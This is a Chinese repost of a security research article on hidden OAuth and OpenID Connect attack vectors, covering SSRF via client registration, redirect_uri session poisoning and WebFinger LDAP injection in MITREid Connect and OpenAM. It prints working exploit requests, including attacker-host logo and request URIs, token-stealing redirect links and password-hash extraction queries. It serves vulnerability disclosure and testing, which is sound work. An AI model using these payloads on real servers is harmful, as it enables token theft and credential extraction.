当前位置:主页 > 查看内容

隐藏的OAuth攻击向量

发布时间:2021-04-25 00:00| 位朋友查看

简介:基本介绍 过去十年来,OAuth2授权协议备受争议,您可能已经听说过很多return_uri技巧、令牌泄漏、对客户端的CSRF式攻击等等,在这篇文章中,我们将介绍三个全新的OAuth2和OpenID Connect漏洞:动态客户端注册:SSRF设计,redirect_uri会话中毒和WebFinger用户……

基本介绍

过去十年来,OAuth2授权协议备受争议,您可能已经听说过很多"return_uri"技巧、令牌泄漏、对客户端的CSRF式攻击等等,在这篇文章中,我们将介绍三个全新的OAuth2和OpenID Connect漏洞:"动态客户端注册:SSRF设计","redirect_uri会话中毒"和"WebFinger用户枚举",我们将介绍关键概念,并在两台开源OAuth服务器(ForgeRock OpenAM和MITREid Connect)上演示这些攻击,最后提供一些有关如何自行检测这些漏洞的方法~

如果您不熟悉OAuth的一些经典漏洞,请不要担心,虽然我们在这里不讨论这些问题,但我们已经在我们的Web安全中广泛讨论了这些内容:

https://portswiger.net/web-security/oauth

OpenID

在深入研究这些漏洞之前,我们应该简单地谈谈OpenID,OpenID Connect是OAuth协议的一个流行扩展,它带来了许多新特性,包括id_tokens、 automatic discovery、configuration endpoint等,从渗透测试的角度来看,每当您测试OAuth应用程序时,目标服务器很有可能也支持OpenID,这大大扩展了可用的攻击面,作为一个漏洞挖掘者,无论何时测试OAuth进程,都应该尝试获取标准的".well-known/openid-configuration"端点,这可以给你很多信息,即使是在黑盒测试阶段。

漏洞示例

Chapter one: Dynamic Client Registration - SSRF by design

过去描述的许多OAuth攻击都以授权端点为目标,正如您每次登录时在浏览器流量中看到的那样,如果您正在测试一个网站时看到一个类似"/authorize?client_id=aaa&redirect_uri=bbb"的请求,您可以相对确定它是一个OAuth端点,有很多参数您已经可以测试了,同时由于OAuth是一个复杂的协议,因此服务器可能支持其他端点,即使它们从未从客户端HTML页面引用。

您可能会错过的隐藏URL之一是动态客户端注册端点,为了成功地对用户进行身份验证,OAuth服务器需要了解有关客户端应用程序的详细信息,例如"client_name"、"client_secret"、"redirect_uri"等等,这些细节可以通过本地配置提供,但是OAuth授权服务器也可能有一个特殊的注册端点,此端点通常映射到"/register",并接受以下格式的POST请求:

POST /connect/register HTTP/1.1
Content-Type: application/json
Host: server.example.com
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ...

{
  "application_type": "web",
  "redirect_uris": ["https://client.example.org/callback"],
  "client_name": "My Example",
  "logo_uri": "https://client.example.org/logo.png",
  "subject_type": "pairwise",
  "sector_identifier_uri": "https://example.org/rdrct_uris.json",
  "token_endpoint_auth_method": "client_secret_basic",
  "jwks_uri": "https://client.example.org/public_keys.jwks",
  "contacts": ["ve7jtb@example.org"],
  "request_uris": ["https://client.example.org/rf.txt"]
}

在这个请求中有两个规范定义参数:OAuth的RFC7591和Openid Connect Registration 1.0

如您在这里看到的,这些值中的许多值通过URL引用传入,看起来像是SSRF的潜在目标,我们测试的大多数服务器在收到注册请求时不会立即解析这些URL,相反它们只是保存这些参数,然后在OAuth授权流中稍后使用它们,这更像是二阶SSRF,这使得黑盒测试变得更加困难。

以下参数对于SSRF攻击特别有用:

  • logo_uri—引用客户端应用程序徽标的URL,注册客户机后,可以尝试使用新的"client_id"调用OAuth授权端点("/authorize"),登录后服务器将要求您批准请求,并可能显示"logo_uri"中的图像,如果服务器自己获取图像,那么这个步骤应该触发SSRF,或者服务器可以仅通过客户端"<img>"标签包含徽标,虽然这不会导致SSRF,但如果URL没有转义,可能会导致XSS。
  • jwks_uri—客户端JSON Web密钥集[JWK]文档的URL,当使用JWTs进行客户端身份验证时,服务器上需要此密钥集来验证向令牌端点发出的已签名请求[RFC7523],为了测试此参数中的SSRF,请使用恶意的"jwks_uri"注册一个新的客户端应用程序,执行授权过程以获取任何用户的授权代码,然后获取具有以下主体的"/token"端点:
POST /oauth/token HTTP/1.1
...

grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...       

如果易受攻击,服务器应该对提供的"jwks_uri"执行服务器到服务器的HTTP请求,因为它需要此密钥来检查请求中"client_assertion"参数的有效性,不过,这可能只是一个盲目的SSRF漏洞,因为服务器需要正确的JSON响应。

  • sector_identifier_uri——此URL引用一个文件,其中包含一个包含redirect_uri值的JSON数组,如果支持,服务器可以在您提交动态注册请求后立即获取此值,如果没有立即获取,请尝试在服务器上对此客户端执行授权,由于它需要知道redirect_uri才能完成授权流,这将强制服务器向恶意sector_identifier_uri发出请求~
  • request_uris——客户端允许的request_uri的数组,授权端点可能支持"request_uri"参数,以提供包含JWT和请求信息的URL,即使没有启用动态客户端注册,或者需要身份验证,我们也可以尝试使用"request_uri"在授权端点上执行SSRF:
GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt    

注意:不要将此参数与"redirect_uri"混淆,"redirect_uri"用于授权后的重定向,而"request_uri"则由服务器在授权过程开始时获取。

同时,我们看到的许多服务器不允许任意的"request_uri"值:它们只允许在客户端注册过程中预先注册的白名单url,这就是为什么我们需要事先提供"request_uri":https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt"

以下参数还包含URL,但通常不用于发出服务器到服务器的请求,它们用于客户端重定向/引用:

  • redirect_uri——用于在授权后重定向客户端的URL
  • client_uri——客户端应用程序主页的URL
  • policy_uri——依赖方客户端应用程序提供的URL,以便最终用户可以读取其配置文件数据的使用方式
  • tos_uri—依赖方客户端提供的URL,以便最终用户可以阅读依赖方的服务条款
  • initiate_login_uri——使用https方案的uri,第三方可以使用它来启动RP的登录,还应该用于客户端重定向

根据OAuth和OpenID规范,所有这些参数都是可选的,在特定的服务器上并不总是受支持的,因此确定服务器上支持哪些参数总是值得的~

如果以OpenID服务器为目标".well-known/Openid-configuration"处的发现端点有时可能会包含诸如"registration_endpoint"、"request_uri_parameter_supported"、"require_request_uri_registration"等参数,这些可以帮助您找到注册端点和其他服务器配置值。

CVE-2021-26715:MITREid Connect中"logo_uri"的SSRF

MITREid Connect充当独立的OAuth授权服务器,在默认配置中,它的大多数页面都需要适当的授权,您甚至不能创建新的用户-只允许管理员创建新帐户,它还实现了OpenID动态客户端注册协议,并支持注册客户端OAuth应用程序,尽管此功能仅从管理面板中引用,但实际的"/register"端点根本不会检查当前会话,通过查看源代码,我们发现MITRE ID Connect以以下方式使用"logo_uri":

  • 在注册过程中,客户机应用程序可以指定其"logo_uri"参数,该参数指向与应用程序相关联的图像,此"logo_uri"参数可以是任意URL
  • 在授权步骤中,当要求用户批准此新应用程序请求的访问权限时,授权服务器发出服务器到服务器的HTTP请求,从"logo_uri"参数下载图像,将其缓存,并与其他信息一起显示给用户

当用户访问"/openid-connect-server-webapp/api/clients/{id}/logo"端点时,会发生此过程,该端点返回获取的"logo_uri"的内容,具体来说,易受攻击的控制器位于网址:org.mitre.openid.connect.web.ClientAPI#getClientLogo

  • 由于服务器不检查检索到的内容是否确实是图像,攻击者可能会误用该内容来请求授权服务器可访问的任何URL并显示其内容,从而导致SSRF
  • 由于"getClientLogo"控制器不强制任何图像"Content-Type"头,攻击者可以从自己的URL显示任意HTML内容,因此此功能也可能被滥用来执行XSS,如果这个HTML包含JavaScript代码,它将在授权服务器域中执行

Exploit:

如上所述,我们需要发送一个动态客户端注册请求,在这种情况下,我们需要提供的最基本参数是"redirect_uri"和"logo_uri":

POST /openid-connect-server-webapp/register HTTP/1.1
Host: local:8080
Content-Length: 118
Content-Type: application/json

{
  "redirect_uris": [
    "http://artsploit.com/redirect"
  ],
  "logo_uri": "http://artsploit.com/xss.html"
}

向指定的"logo_uri"发起服务器到服务器请求:http://artsploit.com/xss.html,用户应在"/api/clients/{client.id}/logo"页面:

访问最后一页需要低权限帐户,如果攻击者能够通过注册获得一个,则可以使用此端点向本地服务器发出任意HTTP请求并显示其结果,或者此攻击可以用于对已经经过身份验证的用户执行XSS攻击,因为它允许您在页面上注入任意JavaScript,如上面的示例所示,恶意的"logo_uri": "http://artsploit.com/xss.html" 可用于执行"alert(document.domain)"

那个{client.id}参数是与在OAuth服务器上注册的每个新客户端关联的增量值,在客户注册后,可以在没有任何凭据的情况下获得,由于在创建服务器时已经存在一个默认客户端应用程序,第一个动态注册的客户端将具有client_id "2"

从这个漏洞中可以看到,OAuth服务器在注册端点中可能有二阶SSRF漏洞,因为规范明确地指出URL引用可能提供了一些值,这些漏洞很难找到,但是由于OAuth注册请求格式是标准化的,即使在黑盒测试场景中也可能。

Chapter two: "redirect_uri" Session Poisoning

我们将要研究的下一个漏洞在于服务器在身份验证流期间传递参数的方式,根据OAuth规范(RFC6749中的第4.1.1节),每当OAuth服务器收到授权请求时,它应"验证请求,以确保所有必需的参数都存在并有效",如果请求有效,授权服务器将对资源所有者进行身份验证并获得授权决定(通过询问资源所有者或通过其他方式建立批准),听起来很简单,对吧?在几乎所有OAuth图表上,此进程显示为一个步骤,但实际上它涉及到三个单独的操作,需要由OAuth服务器实现:

  1. 验证所有请求参数(包括"client_id"、"redirect_uri")
  2. 验证用户身份(通过登录表单提交或任何其他方式)
  3. 请求用户同意与外部方共享数据
  4. 将用户重定向回外部方(使用参数中的代码/令牌)

在我们看到的许多OAuth服务器实现中,这些步骤是通过使用三个不同的控制器来分隔的,例如:"/authorize","/login", "/confirm_access"

在第一步("/authorize")中,服务器检查"redirect_uri"和"client_id"参数,随后在"/confirm_access" 阶段,服务器需要使用这些参数来发布代码,那么服务器是如何记住它们的呢?最明显的方法是:

  1. 在会话中存储"client_id "和"redirect_uri" 参数
  2. 在HTTP查询参数中为每个步骤传递这些参数,这可能需要对每个步骤进行有效性检查,验证程序可能不同
  3. 创建一个新的"interaction_id"参数,该参数唯一地标识与服务器一起启动的每个OAuth授权流

正如我们在这里看到一致,严格的OAuth规范并没有给出任何建议,因此,实现这种行为的方法多种多样:

第一种方法(store-in-session)非常直观,在代码中看起来也很优雅,但是当为同一个用户同时发送多个授权请求时,它可能会导致竞争条件问题,

让我们仔细看看这个例子,该过程从普通授权请求开始:

/authorize?client_id=client&response_type=code&redirect_uri=http://artsploit.com/

服务器检查参数,将其存储在会话中,并显示同意页:

单击"授权"后,将向服务器发送以下请求:

如您所见,请求主体不包含任何关于被授权的客户机的参数,这意味着服务器从用户的会话中获取这些参数,我们甚至可以在黑盒测试中发现这种行为,基于此行为的攻击将如下所示:

  1. 用户访问一个特制的页面(就像典型的XSS/CSRF攻击场景一样)
  2. 该页重定向到OAuth授权页,其中包含一个"trusted" "client_id"
  3. (在后台)该页向OAuth授权页发送一个隐藏的跨域请求,其中包含一个"untrustworthy" "client_id",这会毒害会话
  4. 用户批准第一个页面,并且由于会话包含更新的值,用户将被重定向到不受信任客户端的"redirect_uri"?

在许多实际系统中,第三方用户可以注册自己的客户端,因此此漏洞可能允许他们注册任意"redirect_uri" 并向其泄漏令牌

但是有一些警告:用户必须批准任何"受信任"的客户端,如果他们之前已经批准了同一个客户机,服务器可能只是重定向我们,而不要求确认,为了方便起见,OpenID规范为我们提供了一个"prompt=approvement"参数,我们可以将其附加到授权请求的URL中,从而潜在地解决这个问题,如果服务器遵循OpenID规范,它应该请求用户确认他们的同意,即使他们之前已经批准了,在没有确认的情况下,这种攻击会更加困难,但仍然是可行的,这取决于特定的OAuth服务器实现。

CVE-2021-27582: [MITREid Connect] "redirect_uri" bypass via Spring autobinding

MITREid Connect服务器易受上述会话中毒问题的攻击,在本例中,利用此漏洞甚至不需要注册其他客户端,因为应用程序在确认页上存在大量分配漏洞,这也会导致会话中毒。

在OAuth2流中,当用户导航到授权页("/authorize")时,AuthorizationEndpoint类会正确检查所有提供的参数(client_id、redirect_uri、scope等)之后,当用户通过身份验证时,服务器将显示一个确认页面,要求用户批准访问,用户的浏览器只看到"/authorize"页面,但在内部,服务器执行从"/authorize"到"/oauth/confirm_access"的内部请求转发,为了将参数从一个页面传递到另一个页面,服务器在"/oauth/confirm_access"控制器上使用"@modeldattribute"("authorizationRequest")注释:

@PreAuthorize("hasRole('ROLE_USER')")
@RequestMapping("/oauth/confirm_acces")
public String confimAccess(Map<String, Object> model, @ModelAttribute("authorizationRequest") AuthorizationRequest authRequest, Principal p) {

这个注释有点棘手,它不仅从上一个控制器的模型中获取参数,而且从当前HTTP请求查询中获取它们的值,因此如果用户直接导航到浏览器中的"/oauth/confirm_access"端点,则它可以从URL提供所有授权请求参数,并绕过"/authorize"页面上的检查。

这里唯一的警告是"/oauth/confirm_access"控制器要求@SessionAttributes("authorizationRequest")出现在用户的会话中,但只需访问"/authorize"页面而不执行任何操作,就可以轻松实现这一点,此漏洞的影响类似于从不检查"redirect_uri"的经典场景。

Exploit:

恶意参与者可以创建到授权和确认端点的两个特殊链接,每个链接都有自己的"redirect_uri"参数,并将它们提供给用户

/authorize?client_id=c931f431-4e3a-4e63-84f7-948898b3cff9&response_type=code&scope=openid&prompt=consent&redirect_uri=http://trusted.example.com/redirect
/oauth/confirm_access?client_id=c931f431-4e3a-4e63-84f7-948898b3cff9&response_type=code&prompt=consent&scope=openid&redirectUri=http://malicious.example.com/steal_token

"client_id"参数可以来自用户已经信任的任何客户端应用程序,当访问"/confirm_access"时,它从URL获取所有参数,并毒害模型/会话,现在当用户批准第一个请求时(因为"client_id"是可信的),授权令牌就会泄漏到恶意网站

注意:您可能会注意到第一个请求中的"redirectUri"与第二个请求中的"redirectUri"之间的预期差异,这是有意的,因为第一个是有效的OAuth参数,而第二个是实际绑定到"AuthorizationRequest.redirectUri"质量分配期间的模型属性。

此处的"@modeldattribute("authorizationRequest")"注释不是必需的,在转发过程中会产生额外的风险,执行相同操作的一种更安全的方法是将”Map<String,Object>model"中的这些值作为带有@RequestMapping("/oauth/confirm_access")注释的方法的输入参数,即使此处不存在大规模分配,也可以通过同时发送两个授权请求以共享同一会话来利用此漏洞。

Chapter three: "/.well-known/webfinger" makes all user names well-known

"/.well-known/webfinger"是一个标准的OpenID端点,它显示有关服务器上使用的用户和资源的信息,例如可以通过以下方式使用它来验证用户"anonymous"在服务器上是否有帐户:

/.well-known/webfinger?resource=http://x/anonymous&rel=http://openid.net/specs/connect/1.0/issuer

这只是另一个在爬虫期间可能找不到的OpenID端点,因为它是由OpenID客户端应用程序使用的,并且这些请求不是从浏览器端发送的,规范规定"rel"参数的静态值应为"http://openid.net/specs/connect/1.0/issuer"和"resource"应包含以下形式之一的有效URL:

  • http://host/user
  • acct://user@host

这个URL是在服务器上解析的,并不真正用于发送HTTP请求,所以这里没有SSRF,同时,由于端点不需要任何身份验证,您可能会尝试在那里查找像SQL注入这样的普通漏洞。

这个端点的棘手部分是响应状态代码:如果参数无效或找不到用户名,它可能返回404,因此在将其添加到内容发现工具时要小心

[ForgeRock OpenAm] LDAP Injection in Webfinger Protocol

我们在ForgeRock的OpenAM服务器中发现了一个很好的易受攻击的webfinger端点示例,这个商业软件曾经有一个LDAP注入漏洞。

在源代码分析期间,我们发现当OpenAM服务器处理请求时,它将用户提供的资源参数嵌入到LDAP服务器的过滤器查询中,LDAP查询是在SmsLDAP对象.java文件:

String[] objs = { filter };
String FILTER_PATTERN_ORG = "(&(objectclass="
  + SMSEntry.OC_REALM_SERVICE + ")(" + SMSEntry.ORGANIZATION_RDN
  + "={0}))";
String sfilter = MessageFormat.format(FILTER_PATTERN_ORG, (Object[]) objs);

如果资源包含特殊字符,如"();、*|",则应用程序不会对其应用任何转义,并随后将其包含在LDAP查询筛选器中。

从攻击者的角度来看,可以使用LDAP过滤器访问LDAP中存储的用户对象的不同字段,攻击场景之一可能是枚举有效的用户名:

/openam/.well-known/webfinger?resource=http://x/dsa*&rel=http://openid.net/specs/connect/1.0/issuer

如果任何用户名以"dsa*"开头,服务器将以HTTP代码200(确定)响应,否则以HTTP代码404(未找到)响应,此外可以根据用户密码指定过滤器:

/openam/.well-known/webfinger?resource=http://x/dsameuser)(sunKeyValue=userPassword=A*)(%2526&rel=http://openid.net/specs/connect/1.0/issuer

这允许我们按字符提取用户的密码哈希字符,攻击不仅限于提取用户属性,还可以用于提取用于令牌签名的有效会话令牌或私钥~

同样,此漏洞存在于OpenAm服务器的标准OpenID组件中,不需要任何身份验证,我们在OpenAM的最新开源版本中发现了此漏洞,位于https://github.com/OpenRock/OpenAM,当我们报告ForgerRock的此漏洞时,他们的安全团队指出,从更新13.5.1开始,该漏洞已经在其产品的商业版本中修补(有关详细信息,请参阅OPENAM-10135)~

文末总结

OAuth和OpenID连接协议非常复杂,有许多移动部件和扩展,如果在网站上测试OAuth授权流,可能只会看到支持的参数和可用端点的一小部分,虽然Facebook、Google和Apple可以自己编写这些协议的实现,但较小的公司通常使用开源实现或您可以自己下载的商业产品,深入研究文档和RFC、Google错误,尝试在Github上找到源代码,并检查Docker容器,以确定您能够实现的所有功能:您将惊讶于您能找到多少独特的bug

ActiveScan++v1.0.22现在可以检测OpenId和OAuth配置端点的存在,并可以帮助您发现它们,我们在Burp的Intruder模块下的"Interesting files and directories"中也可以找到~

原英文版链接:https://portswigger.net/research/hidden-oauth-attack-vectors


本站部分内容转载于网络,版权归原作者所有,转载之目的在于传播更多优秀技术内容,如有侵权请联系QQ/微信:153890879删除,谢谢!

推荐图文

  • 周排行
  • 月排行
  • 总排行

随机推荐